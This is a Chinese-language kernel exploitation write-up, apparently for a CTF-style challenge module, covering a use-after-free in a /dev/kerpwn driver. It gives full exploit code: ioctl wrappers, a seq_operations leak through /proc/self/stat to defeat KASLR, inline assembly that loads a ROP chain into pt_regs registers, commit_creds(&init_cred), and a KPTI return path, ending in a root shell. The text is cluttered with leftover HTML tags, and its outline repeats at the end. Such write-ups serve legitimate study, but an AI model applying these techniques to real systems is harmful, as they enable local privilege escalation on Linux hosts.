内核漏洞利用：seq_operations与pt_regs结构体组合利用技术<\/h1>

概述<\/h2>
本文详细分析内核堆溢出漏洞利用中`seq_operations<\/code>与pt_regs<\/code>结构体的组合利用技术。通过实际案例，讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。<\/p>`

内核交互流程分析<\/h2>
ioctl系统调用详解<\/h3>
ioctl函数原型<\/h4>
long<\/span> my_ioctl(struct<\/span> file *<\/span>filp, unsigned<\/span> int<\/span> cmd, unsigned<\/span> long<\/span> arg)
<\/span><\/span><\/code><\/pre>
filp<\/code>: 文件结构体指针<\/li>
cmd<\/code>: 命令码，区分不同操作<\/li>
arg<\/code>: 用户空间传递的参数，可以是整数或指针<\/li>
<\/ul>
关键点：第三个参数arg的处理<\/h4>
arg<\/code>通常是指向用户空间结构体的指针，内核通过copy_from_user<\/code>\/copy_to_user<\/code>进行数据传输：<\/p>
long<\/span> my_ioctl<\/span>(struct<\/span> file *<\/span>filp, unsigned<\/span> int<\/span> cmd, unsigned<\/span> long<\/span> arg)
<\/span><\/span>{
<\/span><\/span>    int<\/span> user_val;
<\/span><\/span>    switch<\/span> (cmd) {
<\/span><\/span>        case<\/span> MY_CMD_SET_VALUE:
<\/span><\/span>            if<\/span> (copy_from_user(&<\/span>user_val, (int<\/span> __user *<\/span>)arg, sizeof<\/span>(user_val))) {
<\/span><\/span>                return<\/span> -<\/span>EFAULT;
<\/span><\/span>            }
<\/span><\/span>            break<\/span>;
<\/span><\/span>        case<\/span> MY_CMD_GET_VALUE:
<\/span><\/span>            user_val =<\/span> get_some_kernel_value();
<\/span><\/span>            if<\/span> (copy_to_user((int<\/span> __user *<\/span>)arg, &<\/span>user_val, sizeof<\/span>(user_val))) {
<\/span><\/span>                return<\/span> -<\/span>EFAULT;
<\/span><\/span>            }
<\/span><\/span>            break<\/span>;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>题目中ioctl命令分析<\/h3>
Case 1: cmd == 0x20 (malloc)<\/h4>
if<\/span> (copy_from_user(&<\/span>index, a3, 0x10<\/span>))
<\/span><\/span><\/code><\/pre>
拷贝16字节数据<\/li>
前8字节：size（实际是size，变量命名混乱）<\/li>
后8字节：用户数据指针<\/li>
<\/ul>
结构体定义：<\/p>
struct<\/span> {
<\/span><\/span>    size_t size;        \/\/ <= 0x20
<\/span><\/span><\/span><\/span>    void<\/span> *<\/span>user_data;    \/\/ 指向要拷贝进内核的数据
<\/span><\/span><\/span><\/span>} req;
<\/span><\/span><\/code><\/pre>调用方式：<\/p>
ioctl(fd, 0x20<\/span>, &<\/span>req);
<\/span><\/span><\/code><\/pre>Case 2: cmd == 0x30 (delete)<\/h4>
copy_from_user(&<\/span>index, a3, 8<\/span>)
<\/span><\/span><\/code><\/pre>
只拷贝8字节：索引值<\/li>
<\/ul>
调用方式：<\/p>
uint64_t<\/span> idx =<\/span> 5<\/span>;
<\/span><\/span>ioctl(fd, 0x30<\/span>, &<\/span>idx);
<\/span><\/span><\/code><\/pre>Case 3: cmd == 0x40 (show)<\/h4>
copy_from_user(&<\/span>index, a3, 24<\/span>)
<\/span><\/span><\/code><\/pre>
拷贝24字节，但只使用前8字节（index）<\/li>
<\/ul>
结构体定义：<\/p>
struct<\/span> {
<\/span><\/span>    uint64_t<\/span> index;
<\/span><\/span>    char<\/span> padding[16<\/span>];
<\/span><\/span>} req;
<\/span><\/span><\/code><\/pre>Case 4: cmd == 0x50 (edit)<\/h4>
copy_from_user(&<\/span>index, a3, 24<\/span>)
<\/span><\/span>copy_from_user(content, v6, n0x100_2)
<\/span><\/span><\/code><\/pre>
前8字节：index<\/li>
接下来8字节：size<\/li>
再接下来8字节：数据指针<\/li>
<\/ul>
结构体定义：<\/p>
struct<\/span> {
<\/span><\/span>    uint64_t<\/span> index;
<\/span><\/span>    uint64_t<\/span> size;
<\/span><\/span>    void<\/span> *<\/span>data;
<\/span><\/span>} req;
<\/span><\/span><\/code><\/pre>漏洞分析<\/h2>
UAF漏洞位置<\/h3>
if<\/span> (_a2 !=<\/span> 0x20<\/span>) {
<\/span><\/span>    if<\/span> (_a2 !=<\/span> 0x30<\/span>)
<\/span><\/span>        return<\/span> result;
<\/span><\/span>    if<\/span> (!<\/span>copy_from_user(&<\/span>index, a3, 8<\/span>)) {
<\/span><\/span>        if<\/span> ((unsigned<\/span> int<\/span>)index <=<\/span> 0x20<\/span>) { \/\/ delete
<\/span><\/span><\/span><\/span>            if<\/span> (addrList[(unsigned<\/span> int<\/span>)index])
<\/span><\/span>                kfree(); \/\/ UAF漏洞：释放后未置空
<\/span><\/span><\/span><\/span>        }
<\/span><\/span>        return<\/span> 0<\/span>;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> -<\/span>22<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>内存分配逻辑<\/h3>
if<\/span> (copy_from_user(&<\/span>index, a3, 0x10<\/span>))
<\/span><\/span>    return<\/span> -<\/span>22<\/span>;
<\/span><\/span>if<\/span> (index ><\/span> 0x20<\/span>) \/\/ malloc
<\/span><\/span><\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>object_ptr =<\/span> _kmalloc(index, 0xCC0<\/span>);
<\/span><\/span>heap_ptr =<\/span> object_ptr;
<\/span><\/span>if<\/span> (!<\/span>object_ptr)
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>n0x20_1 =<\/span> index;
<\/span><\/span>n0x100_1 =<\/span> size;
<\/span><\/span>if<\/span> (index ><\/span> 0x7FFFFFFF<\/span>)
<\/span><\/span>    goto<\/span> LABEL_29;
<\/span><\/span>_check_object_size(object_ptr, index, 0<\/span>);
<\/span><\/span>v11 =<\/span> copy_from_user(heap_ptr, n0x100_1, n0x20_1);
<\/span><\/span><\/code><\/pre>利用原理与技术<\/h2>
地址泄露技术<\/h3>
seq_operations结构体利用<\/h4>

通过open("\/proc\/self\/stat", O_RDONLY)<\/code>触发single_open<\/code><\/li>
分配seq_operations<\/code>结构体（32字节，kmalloc-32缓存）<\/li>
结构体包含预初始化的内核函数指针<\/li>
<\/ul>
int<\/span> single_open<\/span>(struct<\/span> file *<\/span>file, int<\/span> (*<\/span>show)(struct<\/span> seq_file *<\/span>, void<\/span> *<\/span>), void<\/span> *<\/span>data) {
<\/span><\/span>    struct<\/span> seq_operations *<\/span>op =<\/span> kmalloc(sizeof<\/span>(*<\/span>op), GFP_KERNEL_ACCOUNT);
<\/span><\/span>    int<\/span> res =<\/span> -<\/span>ENOMEM;
<\/span><\/span>    if<\/span> (op) {
<\/span><\/span>        op-><\/span>start =<\/span> single_start;
<\/span><\/span>        op-><\/span>next =<\/span> single_next;
<\/span><\/span>        \/\/ ...
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>提权技术<\/h3>
传统ROP方法<\/h4>
需要执行commit_creds(prepare_kernel_cred(NULL))<\/code>，但gadget长度受限。<\/p>
init_cred方法<\/h4>

init_cred<\/code>是init进程的cred，具有root权限<\/li>
静态分配，泄露内核基址后可计算其地址<\/li>
只需执行commit_creds(&init_cred)<\/code>即可提权<\/li>
<\/ul>
栈迁移与pt_regs利用<\/h3>
系统调用上下文<\/h4>
系统调用时，内核将寄存器压栈形成pt_regs<\/code>结构体：<\/p>
struct<\/span> pt_regs {
<\/span><\/span>    unsigned<\/span> long<\/span> r15;
<\/span><\/span>    unsigned<\/span> long<\/span> r14;
<\/span><\/span>    unsigned<\/span> long<\/span> r13;
<\/span><\/span>    unsigned<\/span> long<\/span> r12;
<\/span><\/span>    unsigned<\/span> long<\/span> rbp;
<\/span><\/span>    unsigned<\/span> long<\/span> rbx;
<\/span><\/span>    unsigned<\/span> long<\/span> r11;
<\/span><\/span>    unsigned<\/span> long<\/span> r10;
<\/span><\/span>    unsigned<\/span> long<\/span> r9;
<\/span><\/span>    unsigned<\/span> long<\/span> r8;
<\/span><\/span>    unsigned<\/span> long<\/span> rax;
<\/span><\/span>    unsigned<\/span> long<\/span> rcx;
<\/span><\/span>    unsigned<\/span> long<\/span> rdx;
<\/span><\/span>    unsigned<\/span> long<\/span> rsi;
<\/span><\/span>    unsigned<\/span> long<\/span> rdi;
<\/span><\/span>    unsigned<\/span> long<\/span> orig_rax;
<\/span><\/span>    unsigned<\/span> long<\/span> rip;
<\/span><\/span>    unsigned<\/span> long<\/span> cs;
<\/span><\/span>    unsigned<\/span> long<\/span> eflags;
<\/span><\/span>    unsigned<\/span> long<\/span> rsp;
<\/span><\/span>    unsigned<\/span> long<\/span> ss;
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>KPTI绕过技术<\/h4>
使用swapgs_restore_regs_and_return_to_usermode<\/code>函数返回用户态：<\/p>
mov<\/span> rdi<\/span>, cr3<\/span>
<\/span><\/span>or<\/span> rdi<\/span>, 0x1000<\/span>
<\/span><\/span>mov<\/span> cr3<\/span>, rdi<\/span>
<\/span><\/span>pop<\/span> rax<\/span>
<\/span><\/span>pop<\/span> rdi<\/span>
<\/span><\/span>swapgs<\/span>
<\/span><\/span>iretq<\/span>
<\/span><\/span><\/code><\/pre>栈布局要求：<\/p>
↓ swapgs_restore_regs_and_return_to_usermode
0                    \/\/ padding
0                    \/\/ padding
user_shell_addr      \/\/ rip
user_cs              \/\/ cs
user_rflags          \/\/ rflags
user_sp              \/\/ rsp
user_ss              \/\/ ss
<\/code><\/pre>
漏洞利用实战<\/h2>
环境准备<\/h3>
文件系统打包<\/h4>
#!\/bin\/sh
<\/span><\/span><\/span><\/span>find . -print0 | cpio --null -ov --format=<\/span>newc | gzip -9 > rootfs.img
<\/span><\/span>mv rootfs.img ..
<\/span><\/span><\/code><\/pre>内核符号获取<\/h4>
cat \/proc\/kallsyms > \/tmp\/kallsyms
<\/span><\/span><\/code><\/pre>利用步骤<\/h3>
1. 定义操作结构体<\/h4>
struct<\/span> op_chunk {
<\/span><\/span>    size_t idx;
<\/span><\/span>    size_t size;
<\/span><\/span>    void<\/span> *<\/span>buf;
<\/span><\/span>};
<\/span><\/span>
<\/span><\/span>struct<\/span> alloc_chunk {
<\/span><\/span>    size_t size;
<\/span><\/span>    void<\/span> *<\/span>buf;
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>2. 操作函数封装<\/h4>
void<\/span> readChunk<\/span>(size_t idx, size_t size, void<\/span> *<\/span>buf) {
<\/span><\/span>    struct<\/span> op_chunk op =<\/span> {.idx =<\/span> idx, .size =<\/span> size, .buf =<\/span> buf};
<\/span><\/span>    ioctl(dev_fd, 0x40<\/span>, &<\/span>op);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>void<\/span> writeChunk<\/span>(size_t idx, size_t size, void<\/span> *<\/span>buf) {
<\/span><\/span>    struct<\/span> op_chunk op =<\/span> {.idx =<\/span> idx, .size =<\/span> size, .buf =<\/span> buf};
<\/span><\/span>    ioctl(dev_fd, 0x50<\/span>, &<\/span>op);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>void<\/span> deleteChunk<\/span>(size_t idx) {
<\/span><\/span>    struct<\/span> op_chunk op =<\/span> {.idx =<\/span> idx};
<\/span><\/span>    ioctl(dev_fd, 0x30<\/span>, &<\/span>op);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>void<\/span> allocChunk<\/span>(size_t size, void<\/span> *<\/span>buf) {
<\/span><\/span>    struct<\/span> alloc_chunk alloc =<\/span> {.size =<\/span> size, .buf =<\/span> buf};
<\/span><\/span>    ioctl(dev_fd, 0x20<\/span>, &<\/span>alloc);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>3. 漏洞利用流程<\/h4>
int<\/span> main<\/span>(int<\/span> argc, char<\/span> **<\/span>argv, char<\/span> **<\/span>envp) {
<\/span><\/span>    \/\/ 初始化
<\/span><\/span><\/span><\/span>    dev_fd =<\/span> open("\/dev\/kerpwn"<\/span>, O_RDWR);
<\/span><\/span>    
<\/span><\/span>    \/\/ 触发UAF
<\/span><\/span><\/span><\/span>    allocChunk(0x20<\/span>, buf);
<\/span><\/span>    deleteChunk(0<\/span>);
<\/span><\/span>    
<\/span><\/span>    \/\/ 分配seq_operations并泄露
<\/span><\/span><\/span><\/span>    seq_fd =<\/span> open("\/proc\/self\/stat"<\/span>, O_RDONLY);
<\/span><\/span>    readChunk(0<\/span>, 0x20<\/span>, buf);
<\/span><\/span>    
<\/span><\/span>    \/\/ 计算偏移和地址
<\/span><\/span><\/span><\/span>    kernel_offset =<\/span> buf[0<\/span>] -<\/span> SEQ_OPS_0;
<\/span><\/span>    kernel_base +=<\/span> kernel_offset;
<\/span><\/span>    swapgs_restore_regs_and_return_to_usermode =<\/span> SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE +<\/span> kernel_offset;
<\/span><\/span>    init_cred =<\/span> INIT_CRED +<\/span> kernel_offset;
<\/span><\/span>    pop_rdi_ret =<\/span> POP_RDI_RET +<\/span> kernel_offset;
<\/span><\/span>    commit_creds =<\/span> COMMIT_CREDS +<\/span> kernel_offset;
<\/span><\/span>    
<\/span><\/span>    \/\/ 布置ROP链
<\/span><\/span><\/span><\/span>    gadget =<\/span> 0xffffffff8135b0f6<\/span> +<\/span> kernel_offset; \/\/ add rsp, 0x180
<\/span><\/span><\/span><\/span>    buf[0<\/span>] =<\/span> gadget;
<\/span><\/span>    swapgs_restore_regs_and_return_to_usermode +=<\/span> 9<\/span>;
<\/span><\/span>    writeChunk(0<\/span>, 0x20<\/span>, buf);
<\/span><\/span>    
<\/span><\/span>    \/\/ 触发利用
<\/span><\/span><\/span><\/span>    vuln();
<\/span><\/span>    system("\/bin\/sh"<\/span>);
<\/span><\/span>    return<\/span> 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4. ROP链布置<\/h4>
void<\/span> vuln<\/span>() {
<\/span><\/span>    __asm__(
<\/span><\/span>        "mov r15, 0xbeefdead;"<\/span>
<\/span><\/span>        "mov r14, pop_rdi_ret;"<\/span>
<\/span><\/span>        "mov r13, init_cred;"<\/span>
<\/span><\/span>        "mov r12, commit_creds;"<\/span>
<\/span><\/span>        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"<\/span>
<\/span><\/span>        "mov rbx, 0xbeefdead;"<\/span>
<\/span><\/span>        "mov r11, 0xbeefdead;"<\/span>
<\/span><\/span>        "mov r10, 0xbeefdead;"<\/span>
<\/span><\/span>        "mov r9, 0xbeefdead;"<\/span>
<\/span><\/span>        "mov r8, 0xbeefdead;"<\/span>
<\/span><\/span>        "xor rax, rax;"<\/span>
<\/span><\/span>        "mov rcx, 0x666666;"<\/span>
<\/span><\/span>        "mov rdx, 8;"<\/span>
<\/span><\/span>        "mov rsi, rsp;"<\/span>
<\/span><\/span>        "mov rdi, seq_fd;"<\/span>
<\/span><\/span>        "syscall"<\/span>
<\/span><\/span>    );
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>GDB调试配置<\/h3>
#!\/bin\/sh
<\/span><\/span><\/span><\/span>gdb -q \
<\/span><\/span><\/span><\/span>    -ex "file vmlinux"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "symbol-file vmliux"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "add-symbol-file test_kk.ko 0xffffffffc0002000"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "target remote localhost:1234"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "b *(0xffffffffc0002000+0x2E3)"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "b *(0xffffffffc0002000+0x21A)"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "b *(0xffffffffc0002000+0x191)"<\/span> \
<\/span><\/span><\/span><\/span>    -ex "b *(0xffffffffc0002000+0x253)"<\/span>
<\/span><\/span><\/code><\/pre>总结<\/h2>
通过seq_operations<\/code>与pt_regs<\/code>结构体的组合利用，我们实现了：<\/p>

利用UAF漏洞泄露内核地址<\/li>
通过seq_operations<\/code>结构体获取内核基址<\/li>
使用pt_regs<\/code>进行栈迁移和ROP链布置<\/li>
绕过KPTI保护返回用户态<\/li>
最终获取root权限<\/li>
<\/ol>
这种组合利用技术在现代内核堆漏洞利用中具有重要价值，特别是在gadget长度受限的情况下，通过精心设计的栈布局和寄存器控制，能够实现稳定的权限提升。<\/p>
内核漏洞利用：seq_operations与pt_regs结构体组合利用技术<\/h1>

概述<\/h2> 本文详细分析内核堆溢出漏洞利用中seq_operations<\/code>与pt_regs<\/code>结构体的组合利用技术。通过实际案例，讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。<\/p>

ioctl系统调用详解<\/h3>

题目中ioctl命令分析<\/h3>

漏洞分析<\/h2>

利用原理与技术<\/h2>

地址泄露技术<\/h3>

提权技术<\/h3>

传统ROP方法<\/h4> 需要执行commit_creds(prepare_kernel_cred(NULL))<\/code>，但gadget长度受限。<\/p>

栈迁移与pt_regs利用<\/h3>

漏洞利用实战<\/h2>

环境准备<\/h3>

利用步骤<\/h3>

概述<\/h2>
本文详细分析内核堆溢出漏洞利用中`seq_operations<\/code>与pt_regs<\/code>结构体的组合利用技术。通过实际案例，讲解如何利用UAF漏洞实现内核地址泄露、执行流劫持和权限提升。<\/p>`

传统ROP方法<\/h4>
需要执行`commit_creds(prepare_kernel_cred(NULL))<\/code>，但gadget长度受限。<\/p>`
